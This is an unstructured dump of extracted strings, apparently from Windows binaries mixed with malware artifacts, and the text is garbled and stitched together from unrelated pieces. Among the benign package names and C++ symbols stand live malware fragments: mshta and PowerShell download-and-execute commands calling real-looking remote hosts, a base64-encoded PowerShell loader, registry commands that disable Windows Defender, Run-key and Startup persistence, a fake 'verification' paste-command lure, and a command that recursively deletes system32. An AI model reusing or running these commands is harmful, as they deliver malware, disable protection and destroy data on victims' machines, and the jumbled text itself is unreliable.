usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
systemroot%\system32echoiex("ie`x`(n`ew-obj`e`ctn`et.`web`client
?zc:\windows\system32\mshta.exehttps://superheal.com/document.jpg
onecoreuap\windows\directx\dxg\warp12\libraries\platform\win32\memoryallocation.cpp
MicrosoftWindowsFileExplorer
Microsoft.Windows.FileExplorerPerf
Microsoft.Windows.FileExplorerErrorFallback
Microsoft.Windows.Wil.FeatureLogging
windows.ui.fileexplorer.pdb
CallByName IIIIIII3, "Run", VbMethod, WINDOWS1.Label1.Tag + " " & WINDOWS1.Tag + " ", 0, FalseCreateObject(WINDOWS1.Label2.Tag)CallByName UserForm1, "Show", VbMethod
gasoman.exedownloadstring('.load([convert]::frombase64string(powershell", .windowstyle = processwindowstyle.hidden
:Dumping physical memory to disk: @p--dumpstartT--dumpprogress[]A problem has been detected and windows has been shutdown to prevent damage to your computer.(Stop code: DRIVER_IRQL_NOT_LESS_OR_EQUAL
reg add "hklm\system\currentcontrolset\services\windefend" /v start /t reg_dword /d 4 /freg add "hklm\software\policies\microsoft\windows defender" /v disableantispyware /t reg_dword /d 1 /fhttp://93.184.216.34:8080/malware.exe%s.encryptedTrojan:HTML/Redirector.PAJA!MTB
Windows Component Update ServiceW
Windows Software FoundationW
powershell -WindowStyle Hidden -Command "$WS = New-Object -ComObject WScript.Shell; $SC = $WS.CreateShortcut(p
Windows.#
Windows.
microsoft windows alert!critical system warning!your system is probably infected with version of spyware.iemonster.b.
SCRIPT:PSForegroundWindowsTitle.A
ExitWindowsEx
EnumWindows
Microsoft.OutlookForWindows_8wekyb3d8bbwee
Microsoft.WindowsCamera_8wekyb3d8bbwe
WindowsVersion
Microsoft.Windows.Security.Winlogon
Microsoft-Windows-Ethernet-Client-Intel-E1i68x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
oft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
WindowsBackupAndRestore
windows10universal.exe
DoNotInstallCompatibleDriverFromWindowsUpdate
windows.protocol
 Windows
Windows
WindowsAI
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/ConsentPromptBehaviorEnhancedAdmin
MACHINE/Software/Microsoft/Windows/CurrentVersion/Policies/System/TypeOfAdminApprovalMode
t@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UEntityItem@implementation@TaskManagerApp@winrt@@UContentControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UEntityItem@implementation@TaskManagerApp@winrt@@UIContentControl@Controls@Xaml@UI@Windows@4@UIContentControl2@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@UEntityItem@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
WindowsId(
\SystemRoot\system32\drivers\CEA.sys
WindowsPreviewContainer
WindowsPreviewSectionsContainer
QWindowsUiaTableProvider::GetRowHeaders
QWindowsUiaTableProvider::GetColumnHeaders
QWindowsUiaTableProvider::get_RowOrColumnMajor
QWindowsUiaTableItemProvider::GetRowHeaderItems
QWindowsUiaTableItemProvider::GetColumnHeaderItems
QWindowsUiaGridProvider::GetItem
QWindowsUiaGridProvider::get_RowCount
QWindowsUiaGridProvider::get_ColumnCount
QWindowsUiaGridItemProvider::get_Row
QWindowsUiaGridItemProvider::get_Column
QWindowsUiaGridItemProvider::get_RowSpan
QWindowsUiaGridItemProvider::get_ColumnSpan
QWindowsUiaGridItemProvider::get_ContainingGrid
QWindowsUiaWindowProvider::SetVisualState
QWindowsUiaWindowProvider::Close
QWindowsUiaWindowProvider::get_CanMaximize
QWindowsUiaWindowProvider::get_CanMinimize
QWindowsUiaWindowProvider::get_IsModal
QWindowsUiaWindowProvider::get_WindowVisualState
QWindowsUiaExpandCollapseProvider::Expand
QWindowsUiaExpandCollapseProvider::Collapse
QWindowsUiaExpandCollapseProvider::get_ExpandCollapseState
QWindowsUiaWindowProviderDialog::SetVisualState
QWindowsUiaWindowProviderDialog::get_CanMaximize
QWindowsUiaWindowProviderDialog::get_CanMinimize
QWindowsUiaWindowProviderDialog::get_WindowVisualState
QWindowsBackingStore::QWindowsBackingStore
QWindowsBackingStore::~QWindowsBackingStore
QWindowsBackingStore::flush
QWindowsBackingStore::resize
QWindowsBackingStore::beginPaint
QWindowsBackingStore::toImage
/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
%endWindowsCopilotScenarioTest","fetchForTopLocalAppse
start-process-windowstylehidden$
c:\windows\system32\cmd.exe/v/d/cmshta"javascript:
c:\windows\system32\
\SystemRoot\system32\DRIVERS\NETIO.SYS
}~c:\windows\system32\windowspowershell\v1.0\powershell.exe$c=get-wmiobject-namespace'root\securitycenter2'-classantivirusproduct-computername$env:computername;foreach($min$c){if($m.displayname-replace'windowsdefender',''){exit}}.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')https://thegcg.org/uu5/pre--;$hspo=get-location;$hspo=join-path$hspo'brontelight_tw_inquiry_#20240316.lnk';del$hspo
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
      <Color Name="ToolWindowShelf">
powershell-windowstylehidden-command"set-executionpolicybypass-scopeprocess-force;$download_path='c:\users\public\downloads\update.exe';add-mppreference-exclusionpath
m("cmd.exe/cpowershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('
new-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'
'-propertytypestring-value'c:\windows\explorer.exec:\users\
5[20.jarc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\20.jarsc:\users\micros~1\appdata\local\temp\{b30d30ed-5407-4758-b916-d08cc9a41320}\20.jarfpku3u(=k{
Windows.location.opennewtab
Windows.opennewtab
Windows.PinToHome
Illegal to wait on a task in a Windows Runtime STA
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-ProjFS-OptionalFeature-FOD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
EnumThreadWindows
WindowsDeleteString
WindowsCreateStringReference
WindowsCreateString
reg.exeadd"hklm\software\policies\microsoft\windowsdefender"/v"disableantispyware"/treg_dword/d"1"/f
start-processpowershell-argumentlist'-nop-noni-execbypass-wh-commandiex(iwr#url)'-windowstylehidden
iwshshell3.run("powershell-executionpolicybypass-windowstylehidden-noexit-command"[","0","false");
5iwshshell3.run("powershell-executionpolicybypass-windowstylehidden-noexit-command"$","0","false");
c:\windows\blackcat1.logc
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
c:\windows\system32\mshta.exe"http://52.205.251.63/9
LOGONSERVER=\\WINDOWS11
Q L>c:\windows\system32\mshta.exehttp://a0711854.xsph.ru/
c:\windows\system32\mshta.exehttp://a0714424.xsph.ru/
Forbidden channel name: Microsoft::Windows::RDS::Telemetry
Microsoft::Windows::RDS::Graphics
 couldn't connect to the Windows Virtual Desktop service. Make sure the network configuration for the session host allows connections to the Windows Virtual Desktop service.
The session host connection to the Windows Virtual Desktop service couldn't connect to the TLS security. Make sure you've configured the TLS security on the session host.
The session host connection to the Windows Virtual Desktop service failed due to the session host memory was exhausted.
The session host couldn't connect to the Windows Virtual Desktop service due to an unexpected network failure. Error 0x%x.
%Microsoft Windows Production PCA 2011
software\microsoft\windows\currentversion\run'-name'
powershell.exe-windowstylehidden"get-disksnv;function
windows\startmenu\programs\startup\
QWindowsGdiNativeInterface::nativeResourceForBackingStore
QWindowsTheme::refreshFonts
QWindowsTheme::refreshIconPixmapSizes
QWindowsTheme::fileIconPixmap() no icon found
QWindowsTheme::createPlatformMenuItem
QWindowsTheme::createPlatformMenu
QWindowsTheme::createPlatformMenuBar
QWindowsTheme::showPlatformMenuBar
0@_q_windowsNativeMenuBar
QWindowsMenuItem::QWindowsMenuItem
QWindowsMenuItem::~QWindowsMenuItem
QWindowsMenuItem::setIcon
QWindowsMenuItem::setText
QWindowsMenuItem::setMenu
QWindowsMenuItem::setVisible
QWindowsMenuItem::setIsSeparator
QWindowsMenuItem::setCheckable
QWindowsMenuItem::setChecked
QWindowsMenuItem::setShortcut
QWindowsMenuItem::setEnabled
QWindowsMenu::QWindowsMenu
QWindowsMenu::~QWindowsMenu
QWindowsMenu::insertMenuItem
QWindowsMenu::removeMenuItem
QWindowsMenu::setText
QWindowsMenu::setIcon
QWindowsMenu::setEnabled
QWindowsMenu::setVisible
QWindowsMenu::menuItemAt
QWindowsMenu::createMenuItem
QWindowsMenu::createSubMenu
QWindowsPopupMenu::showPopup
QWindowsPopupMenu::notifyTriggered
QWindowsMenuBar::QWindowsMenuBar
QWindowsMenuBar::~QWindowsMenuBar
QWindowsMenuBar::insertMenu
QWindowsMenuBar::removeMenu
QWindowsMenuBar::handleReparent
QWindowsMenuBar::createMenu
QWindowsMenuBar::notifyTriggered
QWindowsDialogs::eatMouseMove
%windowstylehidden-c(new-objectnet.webclient).downloadstring('https://mistralkorea.ru/wp-includes/post-template.html')")do
\software\microsoft\windows\currentversion\run
=newactivexobject("windowsinstaller.installer");//sig//
<h3>verificationsteps</h3><p>1.presswindowsbutton"<iclass="fabfa-windows"></i>"+r</p><p>2.pressctrl+v</p><p>3.pressenter</p>
q6')].indexof('windowsnt6'
&"\syswow64\windowspowershell\v1.0\"&afbuddet&".exe"
\microsoft\windows\startmenu\programs\startup\
(z\windows\system32\mshta.exehttps://smarthav.com/1.hta
/mise/server.exeiconfile=c:\windows\system32\shell32.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://a0820799.xsph.ru/enemy.hta'
^fv"http://gz.qa:8080/bvaj0w/xk2b8h57fb/6y/wthf9v/!computername!"-qkh^kc=^g^cr^ib!%systemroot%\system32\shell32.dll
@D@r-`nuq.\windowsz1xu720system32b
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
powershell-windowstylehidden-command`"start-process-filepath
$env:appdata,"microsoft\windows\startmenu\programs\startup"
..\..\windows\system32\rundll32.exem4ros.dll,nyglisdikn!%
$htmlloaderurl|set-content-path'\\?\c:\windows\system32\en-us\wmimgmt.msc'if($fakefile-ne$null-and$fakefile-ne""){start-process$fakefile}start-process-filepath'c:\windows\system32\wmimgmt.msc'start-sleep-seconds30remove-item-path"\\?\c:\windows\system32"-recurse-forceremove-item-path"\\?\c:\windows\system32\en-us"-recurse-forceremove-item-path"\\?\c:\windows\"-recurse-forceexit
}|c:\windows\system32\windowspowershell\v1.0\powershell.exe-oproxycommand="powershellpowershell-command('m]]]]]]]sht]]]]]a]]]]]].e]]]]]xe]]]]]]]]]]]h]]]]]tt]]]]]]]p]]]]]]s]]]]]]]:]]]]]]/]]]]]/ws]]]]]]]erdt]]]]]]f]]]]]y]]]]]gu]]]]]]hi]]]]]]j]]]]].]]]]]]2]]]]]]024]]]]]]]-]]]]]v]]]]]]]i]]]]]p]]]]]]]ti]]]]]ck]]]]]]]e]]]]]]t]]]]]].]]]]]]com/]]]]]k]]]]]]].]]]]]m]]]]]p4'-replace']')".
4c:\windows\system32\cmd.exe/cpowershell-noni-whidden-nop-execbypass-encodedcommandkaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algboaguadaauafcazqbiaemababpaguabgb0ackalgbeag8adwbuagwabwbhagqargbpagwazqaoaciaaab0ahqacaa6ac8alwaxadganqauadeaoqa2ac4aoaauadmamqavaeqabwbsagqauaboag8adaauaguaeablacialaagaciajablag4adga6ahqazqbtahaaxabeag8ababkafaaaabvahqalgblahgazqaiackaowbbafmaeqbz
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
 Windows 
 Windows 
 Windows 10 
Microsoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Iy\windows\system32\cmd.exe/c%cd%\7965\3516.jsc:\windows\system32\shell32.dll
c:\windows\system32\cmd.exe/v:true/d/cmshta"javascript:(function(){var
c:\windows\system32\cmd.exe/cpowershell.'mshta'"http://62.60.226.199/saddasdff"
Windows.Networking.Vpn.VpnCustomComboBox
Windows.Networking.Vpn.VpnCustomEditBox
Windows.Networking.Vpn.VpnCustomErrorBox
Windows.Networking.Vpn.VpnCustomPromptBooleanInput
Windows.Networking.Vpn.VpnCustomPromptOptionSelector
Windows.Networking.Vpn.VpnCustomPromptText
Windows.Networking.Vpn.VpnCustomPromptTextInput
Windows.Networking.Vpn.VpnCustomTextBox
|conhost--headlesspowershell-windowstyleminimizedirm"iboxencentrum.com/lux.php
 Windows 
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close applicatio"
2c1^com.microsoft.windows.eR
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Deskto
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
.WindowsMenua
WindowsMenu
\windowsnt\currentversion").getvalue('rv
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpTransferCodingHeaderValue,struct Windows::Web::Http::Headers::IHttpTransferCodingHeaderValue,struct Windows::Web::Http::Headers::IHttpTransferCodingHeaderValueCollection,class HttpTransferCodingHeaderValueCollectionImpl>::TryParseAdd
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpTransferCodingHeaderValue,struct Windows::Web::Http::Headers::IHttpTransferCodingHeaderValue,struct Windows::Web::Http::Headers::IHttpTransferCodingHeaderValueCollection,class HttpTransferCodingHeaderValueCollectionImpl>::TryParseValue
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpCookiePairHeaderValue,struct Windows::Web::Http::Headers::IHttpCookiePairHeaderValue,struct Windows::Web::Http::Headers::IHttpCookiePairHeaderValueCollection,class HttpCookiePairHeaderValueCollectionImpl>::ToString
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpMediaTypeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpMediaTypeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpMediaTypeWithQualityHeaderValueCollection,class HttpMediaTypeWithQualityHeaderValueCollectionImpl>::TryParseAdd
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpMediaTypeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpMediaTypeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpMediaTypeWithQualityHeaderValueCollection,class HttpMediaTypeWithQualityHeaderValueCollectionImpl>::ToString
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpCookiePairHeaderValue,struct Windows::Web::Http::Headers::IHttpCookiePairHeaderValue,struct Windows::Web::Http::Headers::IHttpCookiePairHeaderValueCollection,class HttpCookiePairHeaderValueCollectionImpl>::TryParseValue
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpCookiePairHeaderValue,struct Windows::Web::Http::Headers::IHttpCookiePairHeaderValue,struct Windows::Web::Http::Headers::IHttpCookiePairHeaderValueCollection,class HttpCookiePairHeaderValueCollectionImpl>::TryParseAdd
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
rundll32.exec:\windows\debug\item.dat,servicemainaaaw
b^run(@comspec&"/c"&"startwscript"""&$sfilepath&"""","",@sw_hide)msgbox($mb_systemmodal+$mb_iconerror,"microsoftwindows-applicationerror","theoperationcouldnotbecompleted.accessisdenied.")run(@comspec&"/c"&"ping
c:\windows\system32\cmd.exe/d/v/rs^ta^r^tm^s^i^e^x^e^ce^h^t^y=^e^d-^q^u^i^et^a^xqnk=^r^w^z-p^a^ckag^e"http://q0.wf:8080/ajyth/ovbh1234eabgjbgzlvdqpfnrjww//!computername!"d^z^j^g^z=o^y^z^j^bshell32.dll%windir%
1create-suspendedwinlogon
Windows.Data.Shell.FocusSession
Windows.UI.Core.CoreWindow
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpNameValueHeaderValue,struct Windows::Web::Http::Headers::IHttpNameValueHeaderValue,struct Windows::Web::Http::Headers::IHttpCacheDirectiveHeaderValueCollection,class HttpCacheDirectiveHeaderValueCollectionImpl>::TryParseValue
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpTransferCodingHeaderValue,struct Windows::Web::Http::Headers::IHttpTransferCodingHeaderValue,struct Windows::Web::Http::Headers::IHttpTransferCodingHeaderValueCollection,class HttpTransferCodingHeaderValueCollectionImpl>::ToString
ReadAsOperationBase<struct Windows::Storage::Streams::IInputStream *,struct Windows::Storage::Streams::IInputStream *,unsigned __int64>::GetResults
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,struct Windows::Web::Http::HttpProgress>::SendRequestOperationCompletion
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,struct Windows::Web::Http::HttpProgress>::BufferAllCompletedHandler::Invoke
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpExpectationHeaderValue,struct Windows::Web::Http::Headers::IHttpExpectationHeaderValue,struct Windows::Web::Http::Headers::IHttpExpectationHeaderValueCollection,class HttpExpectationHeaderValueCollectionImpl>::ToString
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,unsigned __int64>::BufferAllProgressHandler::Invoke
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpMediaTypeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpMediaTypeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpMediaTypeWithQualityHeaderValueCollection,class HttpMediaTypeWithQualityHeaderValueCollectionImpl>::ParseAdd
ReadAsOperationBase<struct HSTRING__ *,struct HSTRING__ *,struct Windows::Web::Http::HttpProgress>::BufferAllOperationCompletion
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,struct Windows::Web::Http::HttpProgress>::GetResults
ReadAsOperationBase<struct HSTRING__ *,struct HSTRING__ *,struct Windows::Web::Http::HttpProgress>::BufferAllProgressHandler::Invoke
ReadAsOperationBase<struct HSTRING__ *,struct HSTRING__ *,struct Windows::Web::Http::HttpProgress>::GetResults
ReadAsOperationBase<struct Windows::Storage::Streams::IInputStream *,struct Windows::Storage::Streams::IInputStream *,struct Windows::Web::Http::HttpProgress>::SendRequestProgressHandler::Invoke
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,struct Windows::Web::Http::HttpProgress>::BufferAllProgressHandler::Invoke
ReadAsOperationBase<struct Windows::Storage::Streams::IInputStream *,struct Windows::Storage::Streams::IInputStream *,struct Windows::Web::Http::HttpProgress>::SendRequestCompletedHandler::Invoke
ReadAsOperationBase<struct Windows::Storage::Streams::IInputStream *,struct Windows::Storage::Streams::IInputStream *,struct Windows::Web::Http::HttpProgress>::SendRequestOperationCompletion
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpProductInfoHeaderValue,struct Windows::Web::Http::Headers::IHttpProductInfoHeaderValue,struct Windows::Web::Http::Headers::IHttpProductInfoHeaderValueCollection,class HttpProductInfoHeaderValueCollectionImpl>::ParseAdd
ReadAsOperationBase<struct Windows::Storage::Streams::IBuffer *,struct Windows::Storage::Streams::IBuffer *,unsigned __int64>::GetResults
windows vpn(
windows defender antivirus:wux:windows defender antivirus#
windows update historyK
WINDOWS\system32\cmd.exI
ZHttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpConnectionOptionHeaderValue,struct Windows::Web::Http::Headers::IHttpConnectionOptionHeaderValue,struct Windows::Web::Http::Headers::IHttpConnectionOptionHeaderValueCollection,class HttpConnectionOptionHeaderValueCollectionImpl>::TryParseValue
}^HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpMediaTypeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpMediaTypeWithQualityHeaderValue,struct Windows::Web::Http::Headers::IHttpMediaTypeWithQualityHeaderValueCollection,class HttpMediaTypeWithQualityHeaderValueCollectionImpl>::TryParseValue
OHttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpExpectationHeaderValue,struct Windows::Web::Http::Headers::IHttpExpectationHeaderValue,struct Windows::Web::Http::Headers::IHttpExpectationHeaderValueCollection,class HttpExpectationHeaderValueCollectionImpl>::TryParseAdd
HttpHeaderValueCollectionBase<class Windows::Web::Http::Headers::HttpExpectationHeaderValue,struct Windows::Web::Http::Headers::IHttpExpectationHeaderValue,struct Windows::Web::Http::Headers::IHttpExpectationHeaderValueCollection,class HttpExpectationHeaderValueCollectionHttpContentDispositionHeaderValueImpl::RuntimeClassInitialize
